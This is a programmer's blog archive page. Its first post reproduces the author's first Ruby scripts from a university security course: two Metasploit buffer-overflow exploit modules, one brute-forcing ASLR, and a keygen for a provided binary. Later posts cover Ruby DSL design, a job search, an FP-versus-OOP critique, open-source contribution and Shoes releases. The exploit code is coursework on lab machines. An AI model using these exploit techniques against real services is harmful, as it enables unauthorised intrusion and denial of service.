My first ruby script – what was yours?

9 Dec

Can you still remember the first program you ever wrote? The first program you ever wrote in your current favorite language? How far you’ve come and how much you’ve learned since then?

I think it’s important to acknowledge this fact and let people know. Often beginners tell me that they can’t really imagine getting from where they are right now in terms of programming skill to where more experienced people are. Therefore, I think it’s important to show where even experienced developers come from, to give some perspective.

I can’t currently locate the code of the first programs I ever wrote. I exactly know (and still have) my first ruby scripts, though. At that time I was already in the third semester of my bachelor and mostly security focussed in my studies. It was January of 2010 and we had a special task to earn bonus points in the Internet Security course by writing two exploits and a key generator. I decided to use these tasks to learn me some ruby – without reading a book about it or anything. The code is heavily commented, as we had to hand it in and that was one of the requirements.

So here goes the code (unmodified, as handed in). I want to share it to shoe people what horrible unruby-ish code I used to write. I want to encourage you to do the same. Maybe tweet it out with #myfirstrubyscript and a link to a gist or so?

Here is the gist for my first couple of ruby scripts, they are probably easier to read over there as my current blog layout is too narrow: Tobi’s first ruby scripts

The first exploit

The firs exploit was for a service on a provided debian system, that was vulnerable to a buffer overflow. We just had the binary and had to go from there.

require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
 
  #
  # This exploit affects the debian Linuxmachine from our IS Special task.
  #
  include Exploit::Remote::Tcp
 
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Istask11',
      'Description'    => %q{
        This explois was made as part of the Internet Security Special Task.
      },
      'Author'         => 'Tobi',
       'Version'        => '$Revision: 5 $',
      'Payload'        =>
        {
          'Space'    => 1540,
          'BadChars' => "\x00",
        },
      'Targets'        =>
        [
          # Target 0: Linux
          [
            'Linux',
            {
              'Platform' => 'linux',
              'Ret'      => 0xbfffef34,
              'BufSize' => 1640  # as found out by debugging/boomerang
            }
          ],
        ],
      'DefaultTarget' => 0))
       
      #set a default port
      register_options(
      [
        Opt::RPORT(9999)
      ],    self.class)
  end
 
 
  #
  # The exploit method connects to the remote service and sends the payload
  # followed by the fake return address and the nullbyte to end the string (otherwise it'd continue reading data which woould be bad
  #
  def exploit
    connect
 
    print_status ("Start exploiting the vulnerable debianmachine")
    #
    # Build the buffer for transmission
    # the Nops after the payload are somehow necessary (didn't work without them), seems like payloads with push would overwrite themselves
    # so I left NOPs which can be written instead of them (for now there are 100 nops, should be more than enough)
    #
    buf = payload.encoded + make_nops(target['BufSize'] - payload.encoded.length) + [target.ret].pack('V') + "\x00"
    print_status("Sending #{buf.length} byte data")
 
    # Send it off
    sock.put(buf)
    sock.get
 
    handler
 
  end
 
end

The second exploit (ASLR)

This time the target was a gentoo machine I believe (despite what the first comment says), and the special problem was that the machine used ASLR – Address Space Layout Randomization. A technique to prevent buffer overflows as the return address changes. My solution to that is error prone and doesn’t always work, but see for yourselves :)

require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
 
  #
  # This exploit affects the debian Linuxmachine from our IS Special task.
  # take note of the description as I couldn't find another way in time.
  # possible problem with overloading the process table of gentoo so that afterwards you can't do anything with the shell and it was an excellent DoS-attack....
  #
  include Exploit::Remote::Tcp
 
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Istask12',
      'Description'    => %q{
        This explois was made as part of the Internet Security Special Task.
     you got to watch the exploit on execution time... as soon as you see a dialog spawn (soemnthing out of the ordinary output) you got to press ctrl + C. afterwards
     through session and session -i you can access the shell again. Yes it does not work with really high addresses, sadly. But than it performs an excellent DoS attack (as well as if you don't press ctrl+c).
      },
      'Author'         => 'Tobi',
       'Version'        => '$Revision: 100 $',  
      'Payload'        =>
        {
          'Space'    => 400,  #should be enough for most of the payloads
          'DisableNops' => true, #disabled cause I want to make them manually so I know how many of them i got before the shellcode starts
          'BadChars' => "\x00",
        },
      'Targets'        =>
        [
          # Target 0: Linux
          [
            'Linux',
            {
              'Platform' => 'linux',
              'Ret'      => 0xbf800000, # stack is 8MB big... main shouldn't push that much data on the stack so that we miss out our desired buffer. Plus stack address always starts oxbf (as only 24 byte are randomized)
              'BufSize' => 1032  # as found out by debugging/boomerang
            }
          ],
        ],
      'DefaultTarget' => 0))
       
      #set a default port
      register_options(
      [
        Opt::RPORT(9999)
      ],    self.class)
  end
 
 
  #
  # this time the enemy is secured by ASLR, fortunately not the PaX one. We'll use brute force (which will unfortunately create to many processes for gentoo to handle).
  #
  def exploit
 
    print_status ("Start exploiting the vulnerable gentoomachine")
    #
    # initialization here we determine a couple of important values
    #
    return_address = target.ret
    nops_after_payload = 12 # 4- aligned
    nops_before_payload = target['BufSize'] - payload.encoded.length - nops_after_payload  
    print_status("nops_before_payload: #{nops_before_payload}")
     
    # initialize the constant part of the buffer (for performancereasons)
    standard_buf = make_nops(nops_before_payload) + payload.encoded + make_nops(nops_after_payload )  
     
    # can't be really sure whether the payloadlength is always 4-aligned (at least I don't think so )
    payload_offset = 4- payload.encoded.length % 4
     
 
     
    # as long as we don't reach a region where our buffer can't be we keep on trying.
    while  (return_address < 0xc0000000)  
      connect
      buf = standard_buf + [return_address].pack('V') + "\x00" #building the buffer with the returnaddress we are currently trying (little Endian)
      print_status("trying address #{return_address} ")
      # Send it off
      sock.put(buf)
      sock.get
      handler
      return_address += (nops_before_payload + payload_offset)# incrementing the returnaddress to try new ones (offset to keep 4-aligned
      disconnect
    end
     
     
  end
 
end

The key generator

The last task was considerably easier than the first two tasks, this time we just had a binary and had to generate keys which this binary would accept. In this code you can see me not using constants, but making up for it with using for loops. And probably lots of other terrible things – didn’t want to look at it too closely ;)

# This is my keygen (Tobias Pfeiffer) - I don't need ascii-art like that lame lethal-guitar guy
 
## the numbers as taken from the binary, which are used to XOR encrypt the key  there
encryptnumbers= [0x45, 0x3A ,0xAB, 0xC8 ,0xCC ,0x15 ,0xE3, 0x7A]
 
# at first we create an array of possible encrypted values for each position (of the key), except the last one (key is 9 chars long)
# sicne ruby doesn't really support multidimensional arrays out of the box we got
# to add an array as an element
possencr = Array.new
for i in 0..7 do
  #we're going to temporarily save the found values here
  temparray = []
  for j in 0..255 do
    keychar = j ^ encryptnumbers[i]
    # if keychar is printable
    if ((keychar >= 32) and (keychar <= 126))
      temparray << j
    end
  end
  possencr << temparray
end
 
# in the resulting array, the first index is also the index of the keys/encryptnumbers
# the values stored and accessible with the second array are alle possible encryptedchars (95 each as found out)
# note that the numbers are in order (lowest number comes first)
# now we try to genereate a key
crypt = Array.new # saves the crypted signs we chose (cause we need them to make the sum
key = Array.new # saves the corresponding keychars
sum = 0
 for i in 0..4 do  #just 4 because later on we try to fix things (with the last 3 chars), this part here is pure random
    crypt[i] = possencr[i][rand(possencr[i].length)]
    # key is automotically printable due to our awesome array
    key[i] = crypt[i] ^ encryptnumbers[i]
    sum+= crypt[i]
  end
   
  # so here will be some magice, we'll use our last 3 chars to adjust the sum in  
  # such a way that it's between 97 and 122.
  # we're lucky, as I found out our last 3 possible encrypted chars, have no holes  
  # in the array, it's 95 elements each and all consecutive
  # 109 = (sum+possencr[5][0]+possencr[6][0]+possencr[7][0]+offset)&255 -- that's just something o remind me how I want to calculate things, 109 because it's the middle of 97 and 122
  offset = 109- ((sum+possencr[5][0]+possencr[6][0]+possencr[7][0])&255)  # &255 ---> take the last byte (least significant)
  if offset <0  
    offset = 256 + offset
  end
   
  # we simbly divide our offset equally to all chars, we could have problems with rounding, but we don't since it's a maximum of +-2 and with 109 we got more than enough space
  index = offset/3
  # now make the damned last three chars!
  for i in 5..7 do
    crypt[i] = possencr[i][index]
    key[i] = crypt[i] ^ encryptnumbers[i]
    sum+= crypt[i]
  end
   
  # we just need the last byte
  sum = sum & 255
  key[8] = sum
 
#make them chars (not numbers)
for i in 0..8 do
  key[i]=key[i].chr
end
# make a string out of the array of chars
key = key.to_s
# output the key - BAM!
puts key

How about you?

What was your first ruby script? Can you still find and share it? If so, please tweet it out with #myfirstrubyscript to show that everyone eventually started small :)

Writing DSLs in Ruby without monkeypatching Object

19 Nov

Ruby is well known for being a good language to build Domain Specific Languages (DSLs). Want to take a look at an example? Sinatra is a beautiful example of a DSL to create web applications:

get '/hi'do
  'Hello world!'
end

For another example, check out wingtips a DSL for writing presentation slides:

slide 'Why' do
  fullscreen_image 'images/_why.png'
  para '_why', left: 100, top: 100
end

As you can see above, often DSLs involve adding top-level methods for convenience. Methods like get or slide above that are available outside of a class definition whatsoever, just like your standard ruby puts. These methods are often used as an entry point into the DSL, internally create a new object and then instance_eval the block or something like that. Unfortunately many times developers monkey patch Object to reach their goal, to make this methods available. That is totally unnecessary! We can write beautiful DSLs, like the above, without polluting every Ruby object ever with our methods.

I decided to share this method/article, as I noticed that this seems to be rather unknown even to a lot of experienced developers.

As a little disclaimer, I didn’t come up with this by myself, Konstantin Haase, maintainer of Sinatra, presented this idea at the fish bowl discussion at eurucamp 2012.

The traditional way: monkey patching Object

Let’s first have a look at the “traditional way” to implement DSLs. The traditional way is to use Ruby’s open class system to define the method straight on the Object class, making it available everywhere:

class Object
  private
  def dsl_method
    puts 'Nice dsl you got'
  end
end
dsl_method # => 'Nice dsl you got'

This works. However, now there is a private method dsl_method defined on every object (as almost all objects inherit from Object). Even worse, as modules and classes are also objects, the dsl_method is also defined on them. That’s not an ideal situation.

Object.new.send :dsl_method # => 'Nice dsl you got'

module MyModule
end
MyModule.send :dsl_method # => 'Nice dsl you got'

What about def dsl_method?

That unfortunately creates much the same problems as the monkeypatching Object approach, described above:

def dsl_method
  puts "Nice dsl you got"
end

dsl_method # => Nice dsl you got
Object.send :dsl_method # => Nice dsl you got
Object.new.send :dsl_method # => Nice dsl you got
 

Main Object to the rescue!

You probably know that in ruby you can call methods without an explicit receiver, if the receiver is self. What self is depends on the context. But what is self at the top level of a ruby script? Let’s check:

p self       # => main
p self.class # => Object

It’s the main object, an instance of the Object class. How about we only add our DSL methods to that one object instead of a whole class hierarchy? How can we do that? Well we could use define_singleton_method, but I’m more a fan of defining a module and then calling extend on the main object. Let’s see how that plays out:

module DSL
  def dsl_method
    puts 'Nice dsl you got'
  end
end

extend DSL

dsl_method # => 'Nice dsl you got'

That works nicely. The method is only defined on the main object, not unnecessarily polluting objects with methods. Other instances of Object know nothing about it, when asked for that method they throw a NoMethodError.

Object.send :dsl_method # => NoMethodError

Great! But it would have worked just the same with define_singleton_method, so why do I prefer the module based approach? Reusability! Imagine you want to use the DSL inside of other classes or with other objects. By nature all of that is possible with the old “monkeypatch” approach, as every object just has that method defined. With the module based approach we can introduce our DSL methods into inheritance hierarchies in a much more fine-grained way.

class WantDSL
  include DSL
end
WantDSL.new.dsl_method # => 'Nice dsl you got'

Do projects actually use this?

The aforementioned Sinatra uses this approach since shortly after eurucamp 2012 I believe. The main object is extended here with the methods defined here. It’s working fine and in production at many companies ;)

I use this approach in some of my projects. We use it in Shoes 4 to make our “built-in methods” available both at the top-level and inside an app, as there are some methods that are available both outside and inside of the app scope such as alert. Lastly we use it in wingtips to make the slide declaration DSL available at the top-level. You can also check out the pull request, that introduced the approach described here at wingtips and moved away from yet another approach, which was instance_evaling the code of ruby files.

Anyway, I hope you find this blog post useful in your endeavours to create beautiful DSLs without polluting other objects :)

Edit/Update: Added some clarification, to show that this proposed method is just to be used for the “entry point” to the DSL, not for the whole DSL. Also added a section showing that using def is basically the same here as monkeypatching Object. Thanks for the feedback on reddit.

Looking for a job!

18 Nov

Hello everyone – it’s finally that time. After finishing my Master’s and a bit of a break I’m finally looking for a job.

For the impatient, my CV/resume: online PDF

Who are you?

I’m Tobi, online I’m better known as PragTob. I’m a Berlin based full-stack engineer (with a bit of a tendency towards the backend) and deeply interested in agile methodologies, web technologies, software craftsmanship and teaching. I contribute to a variety of open source projects (e.g. Shoes, Hackety Hack and after_do), engage in a multitude of community events (e.g. Ruby User Group Berlin), enjoy attending and speaking at conferences.

My favorite programming language at the moment is Ruby and it’s the one I’m most experienced with, along with my favorite implementation JRuby. Naturally I’m also interested in other programming languages, these days mostly Clojure. As for frameworks, I’ve done quite some work with Ruby on Rails, writing applications and teaching it at workshops and courses.

You can check me out more online, including profiles etc., at my website. Of course, looking around this blog can also give you a pretty good idea of what I’m like.

What are you looking for?

A great job of course! Working on interesting problems with nice colleagues in an interesting area, where I can learn new things. I’m mostly interested in web development and related technologies. If the company supports the community and contributes back to open source (or even has an open source product!) – all the better!

I prefer working in an office with my co-workers, working together, pair programming and discussing options in front of the white board. That said, other options are possible. I love open source and am used to distributed working on open source projects, for instance.

At this point in my life I want to refrain from working for advertising companies, banks and the likes. Moreover, I really want to stay in Berlin for now, it’s a great city with many great companies. Something super awesome would have to come up, to make me move. Also, a job where I’m away from Berlin most of the time is probably not ideal for me.

What now?

Well if I sound like someone you want to work with or if you want to figure out if you want to work with me, please go ahead and get in touch :) You can shoot me an email at pragtob@gmail.com

As a reminder, since you made it this far, you can find my CV here

Make sure your examples match your claim (case: FP vs. OOP)

14 Nov

I started reading Functional Programming Patterns in Scala and Clojure – a nice book so far. However, right at the beginning in Chapter 1.1 “What is Functional Programming?” the author compares an object-oriented implementation with  a functional implementation. Here is the code, first object-oriented (Java):

public List filterOdds(List list) {
    List filteredList = new ArrayList();
    for (Integer current : list) {
        if (isOdd(current)) {
            filteredList.add(current);
        }
    }
    return filteredList;
}
private boolean isOdd(Integer integer) {
    return 0 != integer % 2;
}

Now functional version (Clojure):

(filter odd? list-of-ints)

After this comparison the author states: “The functional version is obviously much shorter than the object-oriented version.”. Well let’s all just go and do functional programming then!

Not so fast. The object-oriented example has a lot of clutter that has nothing to do with Object-oriented Programming, they are just due to Java or in part due to a somewhat unfair comparison. Let’s walk through the code and remove the clutter to make a better comparison.

Types

The sample features a lot of type information – that has nothing to do with OOP vs. FP, there are also functional languages that have types, although a lot of them handle them better than Java. Let’s Remove them:

public filterOdds(list) {
    filteredList = [];
    for (current : list) {
        if (isOdd(current)) {
            filteredList.add(current);
        }
    }
    return filteredList;
}
private isOdd(integer) {
    return 0 != integer % 2;
}

isOdd method

The Java sample defines a private isOdd method to check if a number is odd. This has nothing to do with OOP, it’s just a detail that Java does not implement an isOdd method themselves. There might also be functional languages out there, that doesn’t have it built in like Clojure. So let’s remove that as well:

public filterOdds(list) {
    filteredList = [];
    for (current : list) {
        if (isOdd(current)) {
            filteredList.add(current);
        }
    }
    return filteredList;
}

 

Method definition

The Clojure version does not define a method while the Java version defines a method. So let’s remove that method definition from the Java code. I also omit the return statement, because the result is now saved in the filteredList, which can be used for further computation.

filteredList = [];
for (current : list) {
    if (isOdd(current)) {
        filteredList.add(current);
    }
}

Be careful with your comparisons

Compare the final code sample with what we started out with. It’s half the lines of code and much more concise. I stripped off parts of the code that I believe have nothing to do with the argument at hand, but are rather details of Java. I still like the Clojure sample better and I’d also prefer coding Clojure over Java any day of the week. That’s not the point.

The point is that one should be diligent to make examples for comparisons stick to the topic at hand. And in the book the topic was FP vs. OOP – not Java vs. Clojure.

On a final note, a lot of cool mainly object-oriented languages have features akin to these of functional programming. Often in the shape of blocks. Let’s take a look at Smalltalk, the language that is often credited with introducing Object-oriented Programming. Let’s implement our little code sample there (I used GNU Smalltalk, which implements Smalltalk-80, the “original”):

ints select: [:i | i odd]

That’s short and sweet! Now, just for kicks, let’s do ruby, which is mainly object-oriented, but well luckily has these functional features:

ints.select &:odd?

Just saying, be careful with your examples. These two (mainly) object-oriented languages do just as well as Clojure here.

Last but not least, let it be duly noted, that yes the Clojure result is lazy and immutable, but then again that’s not the point here, although both are col features ;)

Open Source isn’t just about code – other ways in which you can contribute!

3 Nov

Talking to developers and reading about open source I often get the feeling that the general notion is that open source is just about code and commits. Put another way, “If you don’t make commits for a project you are not contributing to it”. Or so they say. That notion is far from the truth in my eyes. Let me tell you why.

Sure, code is what ultimately ships and has a direct impact on the users of an open source project, so yes commits and code are important. But it’s by no means the only way you may contribute to a project. Projects mostly are a whole eco system, which is about more than just code. Here are a couple of other ways you may contribute to a project.

Report issues

If maintainers don’t know about issues they can not fix them. Therefore, it is crucial that you report issues you encounter and not just abandon using the project or only build a workaround. Most projects are happy to receive issue reports. Don’t take reporting issues lightly either, often a substantial amount of time goes into writing a good issue report. Ideally an issue report contains code to reproduce the issue, information about the expected outcome and the actual outcome, system information, version information and maybe a stack trace or similar artifacts. I also like to include a little note of appreciation for the maintainers, but that’s optional. Keep in mind that issues don’t have to be about bugs – they may also be about possible improvements or desired features. Github even acknowledges the importance of issues by giving you contribution points for opened issues – yay!

Write Documentation

Documentation is extremely important but often lacking, as a lot of people really don’t enjoy writing it. It’s a great way to help a project out by making it easier for other people to get into. Also if you found it hard to get into a project, try improving the documentation so the next person will have it easier than you did. I actually have commits on ruby – they are all documentation commits :)

Improve the website

Many open source projects have their own websites. Sometimes the information is outdated and sometimes it’s just plain ugly. I remember the old shoes website – it was really ugly and looked dead (at least that were my thoughts when I first saw it). But look at it now! It looks nice and presentable. And most of it is thanks to wpp – he has never pushed a commit to shoes (that I am aware of), but this certainly was a great contribution for shoes.

Offer to help with art/design

A lot of projects would love to have their logo updated, get some illustrations for their website or similar thing. So if design or illustration is your thing, maybe go to your favorite project and ask them if they want some help with that? I know I’d be more than happy about that!

Trying out preview versions

Developers need feedback if their software works. Therefore, alpha, preview or release candidate releases are made often. Go grab one of those and try it out. If everything works – great, you just made sure it works on your system! If you find a bug – report it! That’s a great help for the project.

Weigh in on Discussions

Sometimes there are discussions about API changes or ways an implementation could be improved (among other things). Comments are very welcome there, maintainers want the input of their users. I once spent a whole day discussing some architectural issues I identified in a project. It was fun. Other work might be setting up a road map – Eric Watson did that for Shoes 4 one day. He’s a great coder, but that road map helped the project more than any code he could have written in a similar time frame. His road map went on to be a very helpful guidance and reference point.

Answer Questions

Questions about a project pop up all around the place. Be it stackoverflow or just the project’s issue tracker. By answering them you help other people to get a better experience with the project overall. Also don’t forget that a question might hint at a problem with the project. Maybe the documentation for this part could be improved or there is a common task that might be automated or deserves a better API? Maybe you could jump in to do this?

Give a presentation about a project

There are many great projects out there, but developers may only adopt them if they know about them! If you really like a project, consider giving a talk about it at a local user group or handing in a talk for a conference. This way the adoption of the project may be increased, bringing more people to the project making it a better and more stable product overall – benefiting everyone.

Closing

If you already have done any of the above: thank you! You contributed to open source. Keep doing that if you like, if not give it a shot. If you want to get started on contributing to open source, this post of mine might come in handy. Personally contributing to open source has been an amazing journey for me so far. I enjoy it very much and have made quite some friends that way :).

Video: Shoes talk at JRubyConf 2013

28 Jul

Finally the video of my talk at JRubyConf 2013 in Berlin is online. It was my first full length talk at a conference, I gave it almost a year ago – some difficulties with the video material and getting it online caused this delay. Nonetheless it is finally here! The talk was titled “Shoes – the Ruby Way to GUI applications” and now  you can go ahead and watch it or you can watch all the other amazing talks.

While that is a bit old, some of the information isn’t up to date anymore. Most importantly about what still needs to be implemented as we made tremendous progress so far. We have a preview release and are happily looking into the future :)

Shoes4 preview – the more personal release notes

26 May

As you might have noticed a big project I’ve been working on for almost 2 years got its first release on the 10th of May a bit more than 2 weeks ago. You can go read the official release announcement. This one is a bit more personal ;)

JAY A RELEASE!!!!

It’s been a long road from the 24th of May 2012 when the shoes community got together to concentrate efforts on the complete rewrite we call shoes4 now. That is a long time. It’s a time in which we made more than 2000 commits and closed nearly 600 issues.

Why did it take us so long? Well rewrites are difficult… there is an older piece of software in place which kind of does what you want but not really. Still if you release your new version has to be somewhat good enough. With this preview release we feel that all the major building blocks of the Shoes DSL itself are in place. Finally.

This release is really important to me. You know, it’s super hard to work on a project for so long without any release. Without any users. Other than your co-contributors there really aren’t many playing with what you build. Not many people to report bugs. Not many people to build something awesome. Not many people telling you that what you do actually matters. Sometimes this makes it a bit hard to motivate yourself. Therefore I want to thank everyone who during that time encouraged anyone of us, wrote an email saying that shoes is awesome or even grabbed a release straight from github and tried it out. Every time that happened it put a big smile on my face and motivated me to put in a couple of hours of extra work. I <3 you!

Hackers gonna hack

Of course a release doesn’t mean that people are really using what you build. I tried to make a little effort writing the announcement blog post and sending out some announcement emails. So far we have a bit over 260 gem downloads, which is good I guess :) There will hopefully be a wider coverage if we get a release out.

Of course, this is just  preview release. Nothing stable. We’re hard at work and already got some nice new bug fixes and improvements lined up. Stay tuned for the preview2 release and subsequent releases until we hit a release candidate!

Thanks

Last but not least I want to thank everyone who ever contributed to shoes4 – not only code but reporting issues, just trying stuff out. Thank you really, your support means a lot! Also to whoever funds me or funded me on gittip – thank you!

More personalized thanks go out to Eric Watson and Jason R. Clark! Eric has probably been the most steady contributor to shoes4. He’s been there from the start, still is, still going strong. And hopefully will for a long time :) Recently he’s been hard at work converting our specs to the rspec3 syntax. Jason on the other hand is a more recent addition to the team – his first commits date back to around September 2013. Nevertheless he’s been pretty hard at work solving vital issues and hard to crack bugs. Lately he’s been hunting down operating system handles we didn’t free up!

What impresses me most about the two of them is that they both have a family and a job but still find the time to work on open source. I hope I’ll be the same once I’m at that point in my life! I mean Eric even has 5 children! FIVE! I can’t even imagine what that’s like :) . But that’s super fun too. I’ll never forget remote pair programming with him with one of his kids running around in the background and waiving. Or Jason attributing the first open source contribution of his daughter on shoes. All super fun memories.

So everybody, shoes is coming. Try the preview release. Or wait for the next one. Or the release candidate. No matter what. Shoes is coming!

Shoes on!

Tobi

Follow

Get every new post delivered to your Inbox.

Join 887 other followers